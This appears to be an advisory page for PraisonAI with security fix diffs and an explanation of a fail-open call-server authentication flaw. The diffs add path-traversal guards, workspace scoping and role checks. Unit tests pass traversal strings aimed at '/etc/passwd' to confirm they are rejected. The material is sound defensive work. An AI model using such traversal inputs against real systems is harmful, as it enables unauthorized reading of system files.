src/praisonai/praisonai/mcp_server/adapters/cli_tools.py+33 −5 modified@@ -21,6 +21,31 @@ logger = logging.getLogger(__name__) +def _resolve_cwd_yaml_path(file_path: str) -> "Path": + """Resolve a YAML path strictly inside the current working directory.""" + from pathlib import Path + + if not isinstance(file_path, str) or not file_path: + raise ValueError("file_path must be a non-empty string") + if ( + "/" in file_path + or "\\" in file_path + or "\x00" in file_path + or file_path.startswith(".") + or file_path in ("..", ".") + ): + raise ValueError(f"invalid file_path: {file_path!r}") + if not file_path.endswith((".yaml", ".yml")): + raise ValueError("file_path must be a .yaml or .yml file") + base = Path.cwd().resolve() + candidate = (base / file_path).resolve() + try: + candidate.relative_to(base) + except ValueError as exc: + raise ValueError(f"invalid file_path: {file_path!r}") from exc + return candidate + + def register_cli_tools() -> None: """Register CLI-based MCP tools.""" @@ -44,7 +69,8 @@ def workflow_validate(file_path: str) -> str: """Validate a workflow YAML file.""" try: import yaml - with open(file_path, 'r') as f: + yaml_path = _resolve_cwd_yaml_path(file_path) + with open(yaml_path, 'r') as f: config = yaml.safe_load(f) required = ["framework", "topic"] @@ -64,9 +90,10 @@ def workflow_validate(file_path: str) -> str: def workflow_show(file_path: str) -> str: """Show workflow configuration.""" try: - with open(file_path, 'r') as f: - content = f.read() - return content + yaml_path = _resolve_cwd_yaml_path(file_path) + return yaml_path.read_text() + except ValueError as e: + return f"Error: {e}" except FileNotFoundError: return f"File not found: {file_path}" except Exception as e: @@ -417,7 +444,8 @@ def deploy_validate(config_path: str = "deploy.yaml") -> str: """Validate deployment configuration.""" try: import yaml - with open(config_path, 'r') as f: + yaml_path = _resolve_cwd_yaml_path(config_path) + with open(yaml_path, 'r') as f: config = yaml.safe_load(f) required = ["name", "type"]
src/praisonai/tests/unit/code/test_write_file_workspace.py+23 −0 added@@ -0,0 +1,23 @@ +"""write_file must constrain paths when workspace is omitted.""" + +from __future__ import annotations + +import os + +from praisonai.code.tools.write_file import write_file + + +def test_write_file_without_workspace_stays_in_cwd(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + ok = write_file("out.txt", "hello", workspace=None) + assert ok["success"] is True + assert (tmp_path / "out.txt").read_text() == "hello" + + +def test_write_file_without_workspace_blocks_escape(tmp_path, monkeypatch): + project = tmp_path / "project" + project.mkdir() + monkeypatch.chdir(project) + result = write_file("../outside.txt", "nope", workspace=None) + assert result["success"] is False + assert "outside" in result["error"].lower()
src/praisonai/tests/unit/mcp_server/test_cli_tools_path_hardening.py+21 −0 added@@ -0,0 +1,21 @@ +"""MCP CLI tools must not read arbitrary filesystem paths.""" + +from __future__ import annotations + +import pytest + + +def test_resolve_cwd_yaml_rejects_traversal(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + from praisonai.mcp_server.adapters import cli_tools + + (tmp_path / "workflow.yaml").write_text("framework: test\ntopic: t\n") + + path = cli_tools._resolve_cwd_yaml_path("workflow.yaml") + assert path.name == "workflow.yaml" + + with pytest.raises(ValueError): + cli_tools._resolve_cwd_yaml_path("../../etc/passwd") + + with pytest.raises(ValueError): + cli_tools._resolve_cwd_yaml_path("/etc/passwd")
src/praisonai/tests/unit/test_call_server_auth.py+40 −0 added@@ -0,0 +1,40 @@ +"""Call server agent API must not fail open without CALL_SERVER_TOKEN.""" + +from __future__ import annotations + +import importlib +import os + +import pytest + +pytest.importorskip("fastapi") + + +@pytest.mark.asyncio +async def test_verify_token_requires_token_by_default(monkeypatch): + monkeypatch.delenv("CALL_SERVER_TOKEN", raising=False) + monkeypatch.delenv("PRAISONAI_CALL_AUTH", raising=False) + + mod = importlib.import_module("praisonai.api.agent_invoke") + importlib.reload(mod) + + class _Req: + query_params = {} + + with pytest.raises(Exception) as exc: + await mod.verify_token(_Req(), authorization=None) + assert "CALL_SERVER_TOKEN" in str(exc.value) + + +@pytest.mark.asyncio +async def test_verify_token_optout(monkeypatch): + monkeypatch.delenv("CALL_SERVER_TOKEN", raising=False) + monkeypatch.setenv("PRAISONAI_CALL_AUTH", "disabled") + + mod = importlib.import_module("praisonai.api.agent_invoke") + importlib.reload(mod) + + class _Req: + query_params = {} + + await mod.verify_token(_Req(), authorization=None)
516d8b6d88dfrefactor: enforce workspace scope in platform services
11 files changed · +120 −52
SECURITY_TRIAGE.md+6 −1 modified@@ -16,7 +16,12 @@ | GHSA-6xj3-927j-6pqw | fixed batch 2 | deploy.py bleach sanitize | | GHSA-8444-4fhq-fxpq | already-fixed | APIConfig.auth_enabled default True | | GHSA-78r8-wwqv-r299 | already-fixed | load_user_module gate | -| GHSA-gv23, h8q5, 6h6v, h37g | partial/defer | broader platform audit | +| GHSA-gv23, h8q5, 6h6v, h37g, 6h6v-7vxx | fixed batch 3 | service-layer workspace_id on get/update/delete | +| GHSA-h37g-4h4p-9x97, c2m8, 8g2p | fixed batch 3 | only owner assigns admin/owner | +| GHSA-h8q5-cp56-rr65 | fixed batch 3 | bind default 127.0.0.1 (+ PLATFORM_HOST) | +| GHSA-6xj3-927j-6pqw | not-applicable | Open WebUI path; not in this repo | | GHSA-gmjg, 9q28 | published | prior release | +**Code fixed on main; GHSA state still triage until PyPI publish + advisory publish.** + Resources: https://github.com/MervinPraison/PraisonAI · https://docs.praison.ai · https://praison.ai
src/praisonai-platform/praisonai_platform/api/routes/agents.py+4 −9 modified@@ -9,7 +9,7 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member +from ..deps import get_db, require_workspace_member from ..schemas import AgentCreate, AgentResponse, AgentUpdate from ...services.agent_service import AgentService @@ -58,10 +58,9 @@ async def get_agent( session: AsyncSession = Depends(get_db), ): svc = AgentService(session) - agent = await svc.get(agent_id) + agent = await svc.get(agent_id, workspace_id=workspace_id) if agent is None: raise HTTPException(status_code=404, detail="Agent not found") - ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") return AgentResponse.model_validate(agent) @@ -76,6 +75,7 @@ async def update_agent( svc = AgentService(session) agent = await svc.update( agent_id, + workspace_id=workspace_id, name=body.name, status=body.status, instructions=body.instructions, @@ -85,7 +85,6 @@ async def update_agent( ) if agent is None: raise HTTPException(status_code=404, detail="Agent not found") - ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") return AgentResponse.model_validate(agent) @@ -97,10 +96,6 @@ async def delete_agent( session: AsyncSession = Depends(get_db), ): svc = AgentService(session) - agent = await svc.get(agent_id) - if agent is None: - raise HTTPException(status_code=404, detail="Agent not found") - ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") - deleted = await svc.delete(agent_id) + deleted = await svc.delete(agent_id, workspace_id=workspace_id) if not deleted: raise HTTPException(status_code=404, detail="Agent not found")
src/praisonai-platform/praisonai_platform/api/routes/dependencies.py+2 −0 modified@@ -62,6 +62,8 @@ async def delete_dependency( dep = await svc.get(dep_id) if dep is None: raise HTTPException(status_code=404, detail="Dependency not found") + if dep.issue_id != issue_id and dep.depends_on_issue_id != issue_id: + raise HTTPException(status_code=404, detail="Dependency not found") deleted = await svc.delete(dep_id) if not deleted: raise HTTPException(status_code=404, detail="Dependency not found")
src/praisonai-platform/praisonai_platform/api/routes/issues.py+3 −8 modified@@ -87,10 +87,9 @@ async def get_issue( session: AsyncSession = Depends(get_db), ): svc = IssueService(session) - issue = await svc.get(issue_id) + issue = await svc.get(issue_id, workspace_id=workspace_id) if issue is None: raise HTTPException(status_code=404, detail="Issue not found") - ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") return IssueResponse.model_validate(issue) @@ -105,6 +104,7 @@ async def update_issue( svc = IssueService(session) issue = await svc.update( issue_id, + workspace_id=workspace_id, title=body.title, description=body.description, status=body.status, @@ -115,7 +115,6 @@ async def update_issue( ) if issue is None: raise HTTPException(status_code=404, detail="Issue not found") - ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") act_svc = ActivityService(session) await act_svc.log( workspace_id, "issue.updated", "issue", issue.id, @@ -134,11 +133,7 @@ async def delete_issue( session: AsyncSession = Depends(get_db), ): svc = IssueService(session) - issue = await svc.get(issue_id) - if issue is None: - raise HTTPException(status_code=404, detail="Issue not found") - ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") - deleted = await svc.delete(issue_id) + deleted = await svc.delete(issue_id, workspace_id=workspace_id) if not deleted: raise HTTPException(status_code=404, detail="Issue not found")
src/praisonai-platform/praisonai_platform/api/routes/projects.py+5 −11 modified@@ -9,7 +9,7 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member +from ..deps import get_db, require_workspace_member from ..schemas import ProjectCreate, ProjectResponse, ProjectUpdate from ...services.project_service import ProjectService @@ -56,10 +56,9 @@ async def get_project( session: AsyncSession = Depends(get_db), ): svc = ProjectService(session) - project = await svc.get(project_id) + project = await svc.get(project_id, workspace_id=workspace_id) if project is None: raise HTTPException(status_code=404, detail="Project not found") - ensure_resource_in_workspace(project.workspace_id, workspace_id, label="Project") return ProjectResponse.model_validate(project) @@ -74,6 +73,7 @@ async def update_project( svc = ProjectService(session) project = await svc.update( project_id, + workspace_id=workspace_id, title=body.title, description=body.description, status=body.status, @@ -82,7 +82,6 @@ async def update_project( ) if project is None: raise HTTPException(status_code=404, detail="Project not found") - ensure_resource_in_workspace(project.workspace_id, workspace_id, label="Project") return ProjectResponse.model_validate(project) @@ -94,11 +93,7 @@ async def delete_project( session: AsyncSession = Depends(get_db), ): svc = ProjectService(session) - project = await svc.get(project_id) - if project is None: - raise HTTPException(status_code=404, detail="Project not found") - ensure_resource_in_workspace(project.workspace_id, workspace_id, label="Project") - deleted = await svc.delete(project_id) + deleted = await svc.delete(project_id, workspace_id=workspace_id) if not deleted: raise HTTPException(status_code=404, detail="Project not found") @@ -111,8 +106,7 @@ async def project_stats( session: AsyncSession = Depends(get_db), ): svc = ProjectService(session) - project = await svc.get(project_id) + project = await svc.get(project_id, workspace_id=workspace_id) if project is None: raise HTTPException(status_code=404, detail="Project not found") - ensure_resource_in_workspace(project.workspace_id, workspace_id, label="Project") return await svc.get_stats(project_id)
src/praisonai-platform/praisonai_platform/api/routes/workspaces.py+4 −4 modified@@ -103,11 +103,11 @@ async def add_member( session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) - if body.role == "owner": + if body.role in ("owner", "admin"): if not await member_svc.has_role(workspace_id, user.id, "owner"): raise HTTPException( status_code=status.HTTP_403_FORBIDDEN, - detail="Only owners can add another owner", + detail="Only owners can add admin or owner roles", ) member = await member_svc.add(workspace_id, body.user_id, body.role) return MemberResponse.model_validate(member) @@ -141,12 +141,12 @@ async def update_member_role( status_code=status.HTTP_403_FORBIDDEN, detail="Cannot change your own role", ) - if body.role == "owner" and not await member_svc.has_role( + if body.role in ("owner", "admin") and not await member_svc.has_role( workspace_id, user.id, "owner" ): raise HTTPException( status_code=status.HTTP_403_FORBIDDEN, - detail="Only owners can assign the owner role", + detail="Only owners can assign admin or owner roles", ) if target.role == "owner" and not await member_svc.has_role( workspace_id, user.id, "owner"
src/praisonai-platform/praisonai_platform/__main__.py+7 −1 modified@@ -7,12 +7,18 @@ """ import argparse +import os import sys def main() -> None: + default_host = os.environ.get("PLATFORM_HOST", "127.0.0.1") parser = argparse.ArgumentParser(description="PraisonAI Platform Server") - parser.add_argument("--host", default="0.0.0.0", help="Bind host (default: 0.0.0.0)") + parser.add_argument( + "--host", + default=default_host, + help="Bind host (default: 127.0.0.1, or PLATFORM_HOST env)", + ) parser.add_argument("--port", type=int, default=8000, help="Bind port (default: 8000)") parser.add_argument("--reload", action="store_true", help="Enable auto-reload for development") args = parser.parse_args()
src/praisonai-platform/praisonai_platform/services/agent_service.py+17 −6 modified@@ -50,9 +50,16 @@ async def create( await self._session.flush() return agent - async def get(self, agent_id: str) -> Optional[Agent]: - """Get agent by ID.""" - return await self._session.get(Agent, agent_id) + async def get( + self, agent_id: str, *, workspace_id: Optional[str] = None + ) -> Optional[Agent]: + """Get agent by ID, optionally scoped to a workspace.""" + agent = await self._session.get(Agent, agent_id) + if agent is None: + return None + if workspace_id is not None and agent.workspace_id != workspace_id: + return None + return agent async def list_for_workspace( self, @@ -72,6 +79,8 @@ async def list_for_workspace( async def update( self, agent_id: str, + *, + workspace_id: Optional[str] = None, name: Optional[str] = None, status: Optional[str] = None, instructions: Optional[str] = None, @@ -80,7 +89,7 @@ async def update( max_concurrent_tasks: Optional[int] = None, ) -> Optional[Agent]: """Update agent fields.""" - agent = await self.get(agent_id) + agent = await self.get(agent_id, workspace_id=workspace_id) if agent is None: return None if name is not None: @@ -102,9 +111,11 @@ async def update( await self._session.flush() return agent - async def delete(self, agent_id: str) -> bool: + async def delete( + self, agent_id: str, *, workspace_id: Optional[str] = None + ) -> bool: """Delete an agent.""" - agent = await self.get(agent_id) + agent = await self.get(agent_id, workspace_id=workspace_id) if agent is None: return False await self._session.delete(agent)
src/praisonai-platform/praisonai_platform/services/issue_service.py+17 −6 modified@@ -69,9 +69,16 @@ async def create( await self._session.flush() return issue - async def get(self, issue_id: str) -> Optional[Issue]: - """Get issue by ID.""" - return await self._session.get(Issue, issue_id) + async def get( + self, issue_id: str, *, workspace_id: Optional[str] = None + ) -> Optional[Issue]: + """Get issue by ID, optionally scoped to a workspace.""" + issue = await self._session.get(Issue, issue_id) + if issue is None: + return None + if workspace_id is not None and issue.workspace_id != workspace_id: + return None + return issue async def list_for_workspace( self, @@ -97,6 +104,8 @@ async def list_for_workspace( async def update( self, issue_id: str, + *, + workspace_id: Optional[str] = None, title: Optional[str] = None, description: Optional[str] = None, status: Optional[str] = None, @@ -106,7 +115,7 @@ async def update( project_id: Optional[str] = None, ) -> Optional[Issue]: """Update issue fields.""" - issue = await self.get(issue_id) + issue = await self.get(issue_id, workspace_id=workspace_id) if issue is None: return None if title is not None: @@ -147,9 +156,11 @@ async def transition(self, issue_id: str, new_status: str) -> Optional[Issue]: """Transition an issue to a new status.""" return await self.update(issue_id, status=new_status) - async def delete(self, issue_id: str) -> bool: + async def delete( + self, issue_id: str, *, workspace_id: Optional[str] = None + ) -> bool: """Delete an issue.""" - issue = await self.get(issue_id) + issue = await self.get(issue_id, workspace_id=workspace_id) if issue is None: return False await self._session.delete(issue)
src/praisonai-platform/praisonai_platform/services/project_service.py+17 −6 modified@@ -44,9 +44,16 @@ async def create( await self._session.flush() return project - async def get(self, project_id: str) -> Optional[Project]: - """Get project by ID.""" - return await self._session.get(Project, project_id) + async def get( + self, project_id: str, *, workspace_id: Optional[str] = None + ) -> Optional[Project]: + """Get project by ID, optionally scoped to a workspace.""" + project = await self._session.get(Project, project_id) + if project is None: + return None + if workspace_id is not None and project.workspace_id != workspace_id: + return None + return project async def list_for_workspace( self, @@ -62,14 +69,16 @@ async def list_for_workspace( async def update( self, project_id: str, + *, + workspace_id: Optional[str] = None, title: Optional[str] = None, description: Optional[str] = None, status: Optional[str] = None, lead_type: Optional[str] = None, lead_id: Optional[str] = None, ) -> Optional[Project]: """Update project fields.""" - project = await self.get(project_id) + project = await self.get(project_id, workspace_id=workspace_id) if project is None: return None if title is not None: @@ -85,9 +94,11 @@ async def update( await self._session.flush() return project - async def delete(self, project_id: str) -> bool: + async def delete( + self, project_id: str, *, workspace_id: Optional[str] = None + ) -> bool: """Delete a project.""" - project = await self.get(project_id) + project = await self.get(project_id, workspace_id=workspace_id) if project is None: return False await self._session.delete(project)
src/praisonai-platform/tests/test_service_workspace_scope.py+38 −0 added@@ -0,0 +1,38 @@ +"""Service-layer workspace scoping for issues and projects.""" + +from __future__ import annotations + +import pytest + +from praisonai_platform.services.auth_service import AuthService +from praisonai_platform.services.issue_service import IssueService +from praisonai_platform.services.project_service import ProjectService +from praisonai_platform.services.workspace_service import WorkspaceService + + +@pytest.mark.asyncio +async def test_issue_get_rejects_wrong_workspace(session): + auth = AuthService(session) + user, _ = await auth.register("scope@test.com", "pass") + ws_a = await WorkspaceService(session).create("A", user.id) + ws_b = await WorkspaceService(session).create("B", user.id) + issue_svc = IssueService(session) + issue = await issue_svc.create( + workspace_id=ws_a.id, + title="secret", + creator_id=user.id, + ) + assert await issue_svc.get(issue.id, workspace_id=ws_a.id) is not None + assert await issue_svc.get(issue.id, workspace_id=ws_b.id) is None + + +@pytest.mark.asyncio +async def test_project_delete_scoped_to_workspace(session): + auth = AuthService(session) + user, _ = await auth.register("proj_scope@test.com", "pass") + ws_a = await WorkspaceService(session).create("PA", user.id) + ws_b = await WorkspaceService(session).create("PB", user.id) + proj_svc = ProjectService(session) + project = await proj_svc.create(workspace_id=ws_a.id, title="p1") + assert await proj_svc.delete(project.id, workspace_id=ws_b.id) is False + assert await proj_svc.delete(project.id, workspace_id=ws_a.id) is True
Vulnerability mechanics
Root cause
"The `verify_token()` authentication dependency returns successfully when `CALL_SERVER_TOKEN` is not configured, disabling authentication entirely."
Attack vector
An attacker on the network sends unauthenticated HTTP requests to the call server's agent-control endpoints (e.g., `GET /api/v1/agents`, `POST /api/v1/agents/{agent_id}/invoke`). Because `verify_token()` returns immediately when the environment variable `CALL_SERVER_TOKEN` is not configured, no authentication is enforced [ref_id=1][ref_id=2]. The server binds to `0.0.0.0`, making these endpoints reachable from any client that can access the server's port.
Affected code
The vulnerability resides in `praisonai/api/agent_invoke.py` where the `verify_token()` authentication dependency returns early when `CALL_SERVER_TOKEN` is unset, and in `praisonai/api/call.py` which mounts the vulnerable router and binds the server to `0.0.0.0` [ref_id=1][ref_id=2].
What the fix does
The patch in `src/praisonai/tests/unit/test_call_server_auth.py` adds regression tests that verify `verify_token()` raises an exception when `CALL_SERVER_TOKEN` is absent, changing the behavior from fail-open to fail-closed [patch_id=3131098]. The commit message explicitly states 'fail-closed call-server auth' as one of its hardening goals. The new tests assert that a missing token causes a rejection rather than a silent pass.
Preconditions
- configCALL_SERVER_TOKEN environment variable is not set
- networkAttacker can reach the call server's network port (bound to 0.0.0.0)
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.